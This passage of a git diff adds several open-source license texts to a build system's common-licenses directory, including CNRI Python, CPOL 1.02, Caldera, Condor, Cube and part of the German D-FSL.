+7. This License Agreement shall be governed by and interpreted in all respects by the law of the State of Virginia, excluding conflict of law provisions. Nothing in this License Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between CNRI and Licensee. This License Agreement does not grant permission to use CNRI trademarks or trade name in a trademark sense to endorse or promote products or services of Licensee, or any third party.
+
+8. By clicking on the "ACCEPT" button where indicated, or by copying, installing or otherwise using Python 1.6b1, Licensee agrees to be bound by the terms and conditions of this License Agreement.
+
+ACCEPT
diff --git a/meta/files/common-licenses/CNRI-Python-GPL-Compatible b/meta/files/common-licenses/CNRI-Python-GPL-Compatible
new file mode 100644
index 0000000000..2754c70e89
--- /dev/null
+++ b/meta/files/common-licenses/CNRI-Python-GPL-Compatible
@@ -0,0 +1,23 @@
+CNRI OPEN SOURCE GPL-COMPATIBLE LICENSE AGREEMENT
+
+IMPORTANT: PLEASE READ THE FOLLOWING AGREEMENT CAREFULLY.
+
+BY CLICKING ON "ACCEPT" WHERE INDICATED BELOW, OR BY COPYING, INSTALLING OR OTHERWISE USING PYTHON 1.6.1 SOFTWARE, YOU ARE DEEMED TO HAVE AGREED TO THE TERMS AND CONDITIONS OF THIS LICENSE AGREEMENT.
+
+1. This LICENSE AGREEMENT is between the Corporation for National Research Initiatives, having an office at 1895 Preston White Drive, Reston, VA 20191 ("CNRI"), and the Individual or Organization ("Licensee") accessing and otherwise using Python 1.6.1 software in source or binary form and its associated documentation.
+
+2. Subject to the terms and conditions of this License Agreement, CNRI hereby grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use Python 1.6.1 alone or in any derivative version, provided, however, that CNRI's License Agreement and CNRI's notice of copyright, i.e., "Copyright © 1995-2001 Corporation for National Research Initiatives; All Rights Reserved" are retained in Python 1.6.1 alone or in any derivative version prepared by Licensee. Alternately, in lieu of CNRI's License Agreement, Licensee may substitute the following text (omitting the quotes): "Python 1.6.1 is made available subject to the terms and conditions in CNRI's License Agreement. This Agreement together with Python 1.6.1 may be located on the Internet using the following unique, persistent identifier (known as a handle): 1895.22/1013. This Agreement may also be obtained from a proxy server on the Internet using the following URL: http://hdl.handle.net/1895.22/1013".
+
+3. In the event Licensee prepares a derivative work that is based on or incorporates Python 1.6.1 or any part thereof, and wants to make the derivative work available to others as provided herein, then Licensee hereby agrees to include in any such work a brief summary of the changes made to Python 1.6.1.
+
+4. CNRI is making Python 1.6.1 available to Licensee on an "AS IS" basis. CNRI MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, CNRI MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON 1.6.1 WILL NOT INFRINGE ANY THIRD PARTY RIGHTS.
+
+5. CNRI SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON 1.6.1 FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON 1.6.1, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
+
+6. This License Agreement will automatically terminate upon a material breach of its terms and conditions.
+
+7. This License Agreement shall be governed by the federal intellectual property law of the United States, including without limitation the federal copyright law, and, to the extent such U.S. federal law does not apply, by the law of the Commonwealth of Virginia, excluding Virginia's conflict of law provisions. Notwithstanding the foregoing, with regard to derivative works based on Python 1.6.1 that incorporate non-separable material that was previously distributed under the GNU General Public License (GPL), the law of the Commonwealth of Virginia shall govern this License Agreement only as to issues arising under or with respect to Paragraphs 4, 5, and 7 of this License Agreement. Nothing in this License Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between CNRI and Licensee. This License Agreement does not grant permission to use CNRI trademarks or trade name in a trademark sense to endorse or promote products or services of Licensee, or any third party.
+
+8. By clicking on the "ACCEPT" button where indicated, or by copying, installing or otherwise using Python 1.6.1, Licensee agrees to be bound by the terms and conditions of this License Agreement.
+
+ACCEPT
diff --git a/meta/files/common-licenses/CPOL-1.02 b/meta/files/common-licenses/CPOL-1.02
new file mode 100644
index 0000000000..9857e0003b
--- /dev/null
+++ b/meta/files/common-licenses/CPOL-1.02
@@ -0,0 +1,98 @@
+The Code Project Open License (CPOL) 1.02
+
+Preamble
+
+This License governs Your use of the Work. This License is intended to allow developers to use the Source Code and Executable Files provided as part of the Work in any application in any form.
+
+The main points subject to the terms of the License are:
+- Source Code and Executable Files can be used in commercial applications;
+- Source Code and Executable Files can be redistributed; and
+- Source Code can be modified to create derivative works.
+- No claim of suitability, guarantee, or any warranty whatsoever is provided. The software is provided "as-is".
+- The Article accompanying the Work may not be distributed or republished without the Author's consent
+
+This License is entered between You, the individual or other entity reading or otherwise making use of the Work licensed pursuant to this License and the individual or other entity which offers the Work under the terms of this License ("Author").
+
+License
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CODE PROJECT OPEN LICENSE ("LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.
+
+BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HEREIN, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. THE AUTHOR GRANTS YOU THE RIGHTS CONTAINED HEREIN IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO ACCEPT AND BE BOUND BY THE TERMS OF THIS LICENSE, YOU CANNOT MAKE ANY USE OF THE WORK.
+
+1. Definitions.
+
+ a. "Articles" means, collectively, all articles written by Author which describes how the Source Code and Executable Files for the Work may be used by a user.
+
+ b. "Author" means the individual or entity that offers the Work under the terms of this License.
+
+ c. "Derivative Work" means a work based upon the Work or upon the Work and other pre-existing works.
+
+ d. "Executable Files" refer to the executables, binary files, configuration and any required data files included in the Work.
+
+ e. "Publisher" means the provider of the website, magazine, CD-ROM, DVD or other medium from or by which the Work is obtained by You.
+
+ f. "Source Code" refers to the collection of source code and configuration files used to create the Executable Files.
+
+ g. "Standard Version" refers to such a Work if it has not been modified, or has been modified in accordance with the consent of the Author, such consent being in the full discretion of the Author.
+
+ h. "Work" refers to the collection of files distributed by the Publisher, including the Source Code, Executable Files, binaries, data files, documentation, whitepapers and the Articles.
+
+ i. "You" is you, an individual or entity wishing to use the Work and exercise your rights under this License.
+
+2. Fair Use/Fair Use Rights. Nothing in this License is intended to reduce, limit, or restrict any rights arising from fair use, fair dealing, first sale or other limitations on the exclusive rights of the copyright owner under copyright law or other applicable laws.
+
+3. License Grant. Subject to the terms and conditions of this License, the Author hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:
+
+ a. You may use the standard version of the Source Code or Executable Files in Your own applications.
+
+ b. You may apply bug fixes, portability fixes and other modifications obtained from the Public Domain or from the Author. A Work modified in such a way shall still be considered the standard version and will be subject to this License.
+
+ c. You may otherwise modify Your copy of this Work (excluding the Articles) in any way to create a Derivative Work, provided that You insert a prominent notice in each changed file stating how, when and where You changed that file.
+
+ d. You may distribute the standard version of the Executable Files and Source Code or Derivative Work in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution.
+
+ e. The Articles discussing the Work published in any form by the author may not be distributed or republished without the Author's consent. The author retains copyright to any such Articles. You may use the Executable Files and Source Code pursuant to this License but you may not repost or republish or otherwise distribute or make available the Articles, without the prior written consent of the Author.
+
+Any subroutines or modules supplied by You and linked into the Source Code or Executable Files of this Work shall not be considered part of this Work and will not be subject to the terms of this License.
+
+4. Patent License. Subject to the terms and conditions of this License, each Author hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, import, and otherwise transfer the Work.
+
+5. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+ a. You agree not to remove any of the original copyright, patent, trademark, and attribution notices and associated disclaimers that may appear in the Source Code or Executable Files.
+
+ b. You agree not to advertise or in any way imply that this Work is a product of Your own.
+
+ c. The name of the Author may not be used to endorse or promote products derived from the Work without the prior written consent of the Author.
+
+ d. You agree not to sell, lease, or rent any part of the Work. This does not restrict you from including the Work or any part of the Work inside a larger software distribution that itself is being sold. The Work by itself, though, cannot be sold, leased or rented.
+
+ e. You may distribute the Executable Files and Source Code only under the terms of this License, and You must include a copy of, or the Uniform Resource Identifier for, this License with every copy of the Executable Files or Source Code You distribute and ensure that anyone receiving such Executable Files and Source Code agrees that the terms of this License apply to such Executable Files and/or Source Code. You may not offer or impose any terms on the Work that alter or restrict the terms of this License or the recipients' exercise of the rights granted hereunder. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties. You may not distribute the Executable Files or Source Code with any technological measures that control access or use of the Work in a manner inconsistent with the terms of this License.
+
+ f. You agree not to use the Work for illegal, immoral or improper purposes, or on pages containing illegal, immoral or improper material. The Work is subject to applicable export laws. You agree to comply with all such laws and regulations that may apply to the Work after Your receipt of the Work.
+
+6. Representations, Warranties and Disclaimer. THIS WORK IS PROVIDED "AS IS", "WHERE IS" AND "AS AVAILABLE", WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES OR CONDITIONS OR GUARANTEES. YOU, THE USER, ASSUME ALL RISK IN ITS USE, INCLUDING COPYRIGHT INFRINGEMENT, PATENT INFRINGEMENT, SUITABILITY, ETC. AUTHOR EXPRESSLY DISCLAIMS ALL EXPRESS, IMPLIED OR STATUTORY WARRANTIES OR CONDITIONS, INCLUDING WITHOUT LIMITATION, WARRANTIES OR CONDITIONS OF MERCHANTABILITY, MERCHANTABLE QUALITY OR FITNESS FOR A PARTICULAR PURPOSE, OR ANY WARRANTY OF TITLE OR NON-INFRINGEMENT, OR THAT THE WORK (OR ANY PORTION THEREOF) IS CORRECT, USEFUL, BUG-FREE OR FREE OF VIRUSES. YOU MUST PASS THIS DISCLAIMER ON WHENEVER YOU DISTRIBUTE THE WORK OR DERIVATIVE WORKS.
+
+7. Indemnity. You agree to defend, indemnify and hold harmless the Author and the Publisher from and against any claims, suits, losses, damages, liabilities, costs, and expenses (including reasonable legal or attorneys' fees) resulting from or relating to any use of the Work by You.
+
+8. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL THE AUTHOR OR THE PUBLISHER BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK OR OTHERWISE, EVEN IF THE AUTHOR OR THE PUBLISHER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+9. Termination.
+
+ a. This License and the rights granted hereunder will terminate automatically upon any breach by You of any term of this License. Individuals or entities who have received Derivative Works from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 6, 7, 8, 9, 10 and 11 will survive any termination of this License.
+
+ b. If You bring a copyright, trademark, patent or any other infringement claim against any contributor over infringements You claim are made by the Work, your License from such contributor to the Work ends automatically.
+
+ c. Subject to the above terms and conditions, this License is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, the Author reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.
+
+10. Publisher. The parties hereby confirm that the Publisher shall not, under any circumstances, be responsible for and shall not have any liability in respect of the subject matter of this License. The Publisher makes no warranty whatsoever in connection with the Work and shall not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this license. The Publisher reserves the right to cease making the Work available to You at any time without notice
+
+11. Miscellaneous
+
+ a. This License shall be governed by the laws of the location of the head office of the Author or if the Author is an individual, the laws of location of the principal place of residence of the Author.
+
+ b. If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this License, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+ c. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.
+
+ d. This License constitutes the entire agreement between the parties with respect to the Work licensed herein. There are no understandings, agreements or representations with respect to the Work not specified herein. The Author shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Author and You.
diff --git a/meta/files/common-licenses/Caldera b/meta/files/common-licenses/Caldera
new file mode 100644
index 0000000000..752ccc1110
--- /dev/null
+++ b/meta/files/common-licenses/Caldera
@@ -0,0 +1,25 @@
+Caldera International, Inc. hereby grants a fee free license that includes the rights use, modify and distribute this named source code, including creating derived binary products created from the source code. The source code for which Caldera International, Inc. grants rights are limited to the following UNIX Operating Systems that operate on the 16-Bit PDP-11 CPU and early versions of the 32-Bit UNIX Operating System, with specific exclusion of UNIX System III and UNIX System V and successor operating systems:
+
+ 32-bit 32V UNIX
+ 16 bit UNIX Versions 1, 2, 3, 4, 5, 6, 7
+
+Caldera International, Inc. makes no guarantees or commitments that any source code is available from Caldera
+International, Inc.
+
+The following copyright notice applies to the source code files for which this license is granted.
+
+Copyright(C) Caldera International Inc. 2001-2002. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ Redistributions of source code and documentation must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ All advertising materials mentioning features or use of this software must display the following acknowledgement:
+This product includes software developed or owned by Caldera International, Inc.
+
+ Neither the name of Caldera International, Inc. nor the names of other contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+USE OF THE SOFTWARE PROVIDED FOR UNDER THIS LICENSE BY CALDERA INTERNATIONAL, INC. AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CALDERA INTERNATIONAL, INC. BE LIABLE FOR ANY DIRECT, INDIRECT INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/Condor-1.1 b/meta/files/common-licenses/Condor-1.1
new file mode 100644
index 0000000000..c7a4f2cb55
--- /dev/null
+++ b/meta/files/common-licenses/Condor-1.1
@@ -0,0 +1,40 @@
+Condor Public License
+
+Version 1.1, October 30, 2003
+
+Copyright © 1990-2006 Condor Team, Computer Sciences Department, University of Wisconsin-Madison, Madison, WI. All Rights Reserved. For more information contact: Condor Team, Attention: Professor Miron Livny, Dept of Computer Sciences, 1210 W. Dayton St., Madison, WI 53706-1685, (608) 262-0856 or miron@cs.wisc.edu.
+
+This software referred to as the Condor® Version 6.x software ("Software") was developed by the Condor Project, Condor Team, Computer Sciences Department, University of Wisconsin-Madison, under the authority of the Board of Regents of the University of Wisconsin System and includes voluntary contributions made to the Condor Project ("Copyright Holders and Contributors and the University"). For more information on the Condor Project, please see http://www.condorproject.org/.
+
+Installation, use, reproduction, display, modification and redistribution of this Software, with or without modification, in source and binary forms, are permitted. Any exercise of rights under this license including sublicenses by you is subject to the following conditions:
+
+1. Redistributions of this Software, with or without modification, must reproduce this Condor Public License in: (1) the Software, and (2) any user documentation or other similar material which is provided with the Software.
+
+2. Any user documentation included with a redistribution must include the following notice:
+``This product includes software from the Condor® Project (http://www.condorproject.org/)"
+Alternatively, if that is where third-party acknowledgments normally appear, this acknowledgment must be reproduced in the Software itself.
+3. Any academic report, publication, or other academic disclosure of results obtained with this Software will acknowledge this Software's use by an appropriate citation.
+
+4. The name Condor® is a registered trademark of the University of Wisconsin-Madison. The trademark may not be used to endorse or promote software, or products derived therefrom, and, other than as required by section 2 and 3 above, it may not be affixed to modified redistributions of this Software without the prior written approval, obtainable via email to condor-admin@cs.wisc.edu.
+
+5. To the extent that patent claims licensable by the University of Wisconsin-Madison are necessarily infringed by the use or sale of the Software, you are granted a non-exclusive, worldwide, royalty- free perpetual license under such patent claims, with the rights for you to make, use, sell, offer to sell, import and otherwise transfer the Software in source code and object code form and derivative works. This patent license shall apply to the combination of the Software with other software if, at the time the Software is added by you, such addition of the Software causes such combination to be covered by such patent claims. This patent license shall not apply to any other combinations which include the Software. No hardware per se is licensed hereunder.If you or any subsequent sub-licensee (a ``Recipient") institutes patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Software infringes such Recipient's patent(s), then such Recipient's rights granted (directly or indirectly) under the patent license above shall terminate as of the date such litigation is filed. All sublicenses to the Software which have been properly granted prior to termination shall survive any termination of said patent license, if not otherwise terminated pursuant to this section.
+
+6. DISCLAIMER
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AND THE UNIVERSITY "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, OF SATISFACTORY QUALITY, AND FITNESS FOR A PARTICULAR PURPOSE OR USE ARE DISCLAIMED. THE COPYRIGHT HOLDERS AND CONTRIBUTORS AND THE UNIVERSITY MAKE NO REPRESENTATION THAT THE SOFTWARE, MODIFICATIONS, ENHANCEMENTS OR DERIVATIVE WORKS THEREOF, WILL NOT INFRINGE ANY PATENT, COPYRIGHT, TRADEMARK, TRADE SECRET OR OTHER PROPRIETARY RIGHT.
+7. LIMITATION OF LIABILITY
+THE COPYRIGHT HOLDERS AND CONTRIBUTORS AND ANY OTHER OFFICER, AGENT, OR EMPLOYEE OF THE UNIVERSITY SHALL HAVE NO LIABILITY TO LICENSEE OR OTHER PERSONS FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, CONSEQUENTIAL, EXEMPLARY, OR PUNITIVE DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, LOSS OF USE, DATA OR PROFITS, OR BUSINESS INTERRUPTION, HOWEVER CAUSED AND ON ANY THEORY OF CONTRACT, WARRANTY, TORT (INCLUDING NEGLIGENCE), PRODUCT LIABILITY OR OTHERWISE, ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+8. Certain uses and transfers of the Software or documentation, and/or items or software incorporating the Condor Software or documentation, may require a license under U.S. Export Control laws. Licensee represents and warrants that all uses and transfers of the Condor Software or documentation and/or any items or software incorporating Condor shall be in compliance with U.S. Export Control laws, and Licensee further understands that failure to comply with such export control laws may result in criminal liability to Licensee under U.S. laws.
+
+9. The Condor Team may publish revised and/or new versions of this Condor Public License (``this License") from time to time. Each version will be given a distinguishing version number. Once Software has been published under a particular version of this License, you may always continue to use it under the terms of that version. You may also choose to use such Software under the terms of any subsequent version of this License published by the Condor Team. No one other than the Condor Team has the right to modify the terms of this License.
+
+For more information:
+
+Condor Team
+Attention: Professor Miron Livny
+7367 Computer Sciences
+1210 W. Dayton St.
+Madison, WI 53706-1685
+miron@cs.wisc.edu
+http://pages.cs.wisc.edu/~miron/miron.html
+
+
diff --git a/meta/files/common-licenses/Crossword b/meta/files/common-licenses/Crossword
new file mode 100644
index 0000000000..6be940c33b
--- /dev/null
+++ b/meta/files/common-licenses/Crossword
@@ -0,0 +1,5 @@
+Copyright (C) 1995-2009 Gerd Neugebauer
+
+cwpuzzle.dtx is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY. No author or distributor accepts responsibility to anyone for the consequences of using it or for whether it serves any particular purpose or works at all, unless he says so in writing.
+.
+Everyone is granted permission to copy, modify and redistribute cwpuzzle.dtx, provided this copyright notice is preserved and any modifications are indicated.
diff --git a/meta/files/common-licenses/CrystalStacker b/meta/files/common-licenses/CrystalStacker
new file mode 100644
index 0000000000..506361a956
--- /dev/null
+++ b/meta/files/common-licenses/CrystalStacker
@@ -0,0 +1,7 @@
+Crystal Stacker is freeware. This means you can pass copies around freely provided you include this document in it's original form in your distribution. Please see the "Contacting Us" section of this document if you need to contact us for any reason.
+
+Disclaimer
+
+NewCreature Design makes no guarantees regarding the Crystal Stacker software. We are not responsible for damages caused by it, though the software is not known to cause any problems. If you have trouble with the software, see the "Contacting Us" section of this document.
+
+The source code is provided as-is and you may do with it whatsoever you please provided that you include this file in its unmodified form with any new distribution. NewCreature Design makes no gaurantees regarding the usability of the source but are willing to help with any problems you might run into. Please see the "Contacting Us" section of this document if you need to get in touch with us about any issues you have regarding the source.
diff --git a/meta/files/common-licenses/Cube b/meta/files/common-licenses/Cube
new file mode 100644
index 0000000000..0a9ea66eb3
--- /dev/null
+++ b/meta/files/common-licenses/Cube
@@ -0,0 +1,17 @@
+Cube game engine source code, 20 dec 2003 release.
+
+Copyright (C) 2001-2003 Wouter van Oortmerssen.
+
+This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software.
+
+Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions:
+
+ 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required.
+
+ 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+ 3. This notice may not be removed or altered from any source distribution.
+
+additional clause specific to Cube:
+
+ 4. Source versions may not be "relicensed" under a different license without my explicitly written permission.
diff --git a/meta/files/common-licenses/D-FSL-1.0 b/meta/files/common-licenses/D-FSL-1.0
new file mode 100644
index 0000000000..b64a259c47
--- /dev/null
+++ b/meta/files/common-licenses/D-FSL-1.0
@@ -0,0 +1,147 @@
+Deutsche Freie Software Lizenz
+
+(c) Ministerium für Wissenschaft und Forschung Nordrhein-Westfalen 2004
+
+Erstellt von Axel Metzger und Till Jaeger, Institut für Rechtsfragen der Freien und Open Source Software - (http://www.ifross.de).
+
+Präambel
+
+Software ist mehr als ein Wirtschaftsgut. Sie ist die technische Grundlage der Informationsgesellschaft. Die Frage der Teilhabe der Allgemeinheit ist deswegen von besonderer Bedeutung. Herkömmlich lizenzierte Programme werden nur im Object Code vertrieben, der Nutzer darf das Programm weder verändern noch weitergeben. Das Lizenzmodell der Freien Software (synonym "Open Source Software") gewährt Ihnen dagegen umfassende Freiheiten im Umgang mit dem Programm. Die Deutsche Freie Software Lizenz folgt diesem Lizenzmodell. Sie gewährt Ihnen das Recht, das Programm in umfassender Weise zu nutzen. Es ist Ihnen gestattet, das Programm nach Ihren Vorstellungen zu verändern, in veränderter oder unveränderter Form zu vervielfältigen, zu verbreiten und öffentlich zugänglich zu machen. Diese Rechte werden unentgeltlich eingeräumt.
+
+Die Deutsche Freie Software Lizenz verbindet die Rechtseinräumung allerdings mit Pflichten, die dem Zweck dienen, das freie Zirkulieren des Programms und aller veröffentlichten Fortentwicklungen zu sichern. Wenn Sie das Programm verbreiten oder öffentlich zugänglich machen, dann müssen Sie jedem, der das Programm von Ihnen erhält, eine Kopie dieser Lizenz mitliefern und den Zugriff auf den Source Code ermöglichen. Eine weitere Pflicht betrifft Fortentwicklungen des Programms. Änderungen am Programm, die Sie öffentlich verbreiten oder zugänglich machen, müssen nach den Bestimmungen dieser Lizenz frei gegeben werden.
+
+Die Deutsche Freie Software Lizenz nimmt auf die besonderen Anforderungen des deutschen und europäischen Rechts Rücksicht. Sie ist zweisprachig gestaltet und damit auch auf den internationalen Vertrieb ausgerichtet.
+
+§ 0 Definitionen
+
+Dokumentation: Die Beschreibung des Aufbaus und/oder der Struktur der Programmierung und/oder der Funktionalitäten des Programms, unabhängig davon, ob sie im Source Code oder gesondert vorgenommen wird.
+
+Lizenz: Die zwischen dem Lizenzgeber und Ihnen geschlossene Vereinbarung mit dem Inhalt der "Deutschen Freien Software Lizenz" bzw. das Angebot hierzu.
+
+Lizenznehmer: Jede natürliche oder juristische Person, die die Lizenz angenommen hat.
+
+Programm: Jedes Computerprogramm, das von den Rechtsinhabern nach den Bestimmungen dieser Lizenz verbreitet oder öffentlich zugänglich gemacht worden ist.
+
+Object Code: Die maschinenlesbare, übersetzte Form des Programms.
+
+Öffentlich: Nicht nur an einen bestimmten Personenkreis gerichtet, der persönlich oder durch die Zugehörigkeit zu einer juristischen Person oder einem öffentlichen Träger miteinander verbunden ist.
+
+Öffentlich zugänglich machen: Die öffentliche Weitergabe des Programms in unkörperlicher Form, insbesondere das Bereithalten zum Download in Datennetzen.
+
+Rechtsinhaber: Der bzw. die Urheber oder sonstigen Inhaber der ausschließlichen Nutzungsrechte an dem Programm.
+
+Source Code: Die für Menschen lesbare, in Programmiersprache dargestellte Form des Programms.
+
+Verändern: Jede Erweiterung, Kürzung und Bearbeitung des Programms, insbesondere Weiterentwicklungen.
+
+Verbreiten: Die öffentliche Weitergabe körperlicher Vervielfältigungsstücke, insbesondere auf Datenträgern oder in Verbindung mit Hardware.
+
+Vollständiger Source Code: Der Source Code in der für die Erstellung bzw. die Bearbeitung benutzten Form zusammen mit den zur Übersetzung und Installation erforderlichen Konfigurationsdateien und Software-Werkzeugen, sofern diese in der benötigten Form nicht allgemein gebräuchlich (z.B. Standard-Kompiler) oder für jedermann lizenzgebührenfrei im Internet abrufbar sind.
+
+§ 1 Rechte
+
+(1) Sie dürfen das Programm in unveränderter Form vervielfältigen, verbreiten und öffentlich zugänglich machen.
+
+(2) Sie dürfen das Programm verändern und entsprechend veränderte Versionen vervielfältigen, verbreiten und öffentlich zugänglich machen. Gestattet ist auch die Kombination des Programms oder Teilen hiervon mit anderen Programmen.
+
+(3) Sie erhalten die Rechte unentgeltlich.
+
+§ 2 Pflichten beim Vertrieb
+
+(1) Wenn Sie das Programm verbreiten oder öffentlich zugänglich machen, sei es in unveränderter oder veränderter Form, sei es in einer Kombination mit anderen Programmen oder in Verbindung mit Hardware, dann müssen sie mitliefern:
+1. alle Vermerke im Source Code und/oder Object Code, die auf diese Lizenz hinweisen;
+2. alle Vermerke im Source Code und/oder Object Code, die über die Urheber des Programms Auskunft geben;
+3. einen für den Empfänger deutlich wahrnehmbaren Hinweis auf diese Lizenz und die Internetadresse http://www.d-fsl.de;
+4. den vollständigen Text dieser Lizenz in deutlich wahrnehmbarer Weise.
+
+(2) Wenn bei der Installation des Programms und/oder beim Programmstart Lizenz- und/oder Vertragsbedingungen angezeigt werden, dann müssen
+1. diese Lizenz,
+2. ein Hinweis auf diese Lizenz und
+3. ein Hinweis auf den oder die Rechtsinhaber an den ersten unter dieser Lizenz nutzbaren Programmbestandteilen
+ebenfalls angezeigt werden.
+
+(3) Sie dürfen die Nutzung des Programms nicht von Pflichten oder Bedingungen abhängig machen, die nicht in dieser Lizenz vorgesehen sind.
+
+(4) Sofern Sie mit dem Programm eine Dokumentation erhalten haben, muss diese Dokumentation entsprechend mitgeliefert werden, es sei denn, die freie Mitlieferung der Dokumentation ist Ihnen aufgrund der Lizenz für die Dokumentation nicht gestattet.
+
+§ 3 Weitere Pflichten beim Vertrieb veränderter Versionen
+
+(1) Veränderte Versionen des Programms dürfen Sie nur unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zugänglich machen, so dass Dritte das veränderte Programm insgesamt unter dieser Lizenz nutzen können.
+
+(2) Wird das Programm oder ein Teil hiervon mit einem anderen Programm kombiniert, gilt auch die Kombination insgesamt als eine veränderte Version des Programms, es sei denn, das andere Programm ist formal und inhaltlich eigenständig. Ein anderes Programm ist dann als eigenständig anzusehen, wenn es die folgenden Voraussetzungen alle erfüllt:
+1. Der Source Code der kombinierten Programme muss jeweils in eigenen Dateien vorhanden sein, die keine Bestandteile des anderen Teils enthalten, die über die zur Programmkombination üblichen und erforderlichen Informationen über den anderen Teil hinausgehen, wobei der Source Code des anderen Programms nicht mitgeliefert werden muss.
+2. Der mit dem Programm kombinierte Teil muss auch dann sinnvoll nutzbar sein, wenn er nicht mit dem Programm kombiniert wird, und zwar entweder alleine oder mit sonstigen Programmen. Was als "sinnvoll nutzbar" anzusehen ist, richtet sich nach der Auffassung der betroffenen Fachkreise. Zu den betroffenen Fachkreisen gehören alle Personen, die das Programm oder Programme mit vergleichbarer Funktionalität entwickeln, benutzen, verbreiten oder öffentlich zugänglich machen.
+
